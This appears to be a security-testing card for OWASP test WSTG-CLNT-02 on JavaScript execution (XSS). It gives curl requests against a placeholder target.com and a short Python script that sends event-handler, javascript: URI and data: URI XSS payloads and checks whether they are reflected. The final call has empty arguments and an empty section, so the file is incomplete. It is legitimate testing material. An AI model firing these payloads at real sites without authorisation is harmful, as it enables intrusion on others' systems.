| name | wstg-clnt-02 |
| description | Testing for JavaScript Execution |
| category | client-side |
| owasp_id | WSTG-CLNT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-79"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
wstg-clnt-02
Test ID
WSTG-CLNT-02
Test Name
Testing for JavaScript Execution
High-Level Description
This test identifies scenarios where user input can lead to arbitrary JavaScript execution through various vectors including javascript: URIs, event handlers, and dynamic code evaluation.
What to Check
How to Test
Step 1: Test javascript: URI
curl -s "https://target.com/redirect?url=javascript:alert(1)"
curl -s "https://target.com/profile?avatar=javascript:alert(1)"
Step 2: Test Event Handler Injection
import requests
def test_event_handlers(url, param):
payloads = [
'" onmouseover="alert(1)" x="',
"' onfocus='alert(1)' autofocus='",
'" onclick="alert(1)" style="position:fixed;width:100%;height:100%" x="',
"javascript:alert(1)",
"data:text/html,<script>alert(1)</script>",
]
for payload in payloads:
response = requests.get(url, params={param: payload})
if payload.split('=')[0] in response.text:
print(f"[POTENTIAL] Payload reflected: {payload[:40]}")
test_event_handlers(, )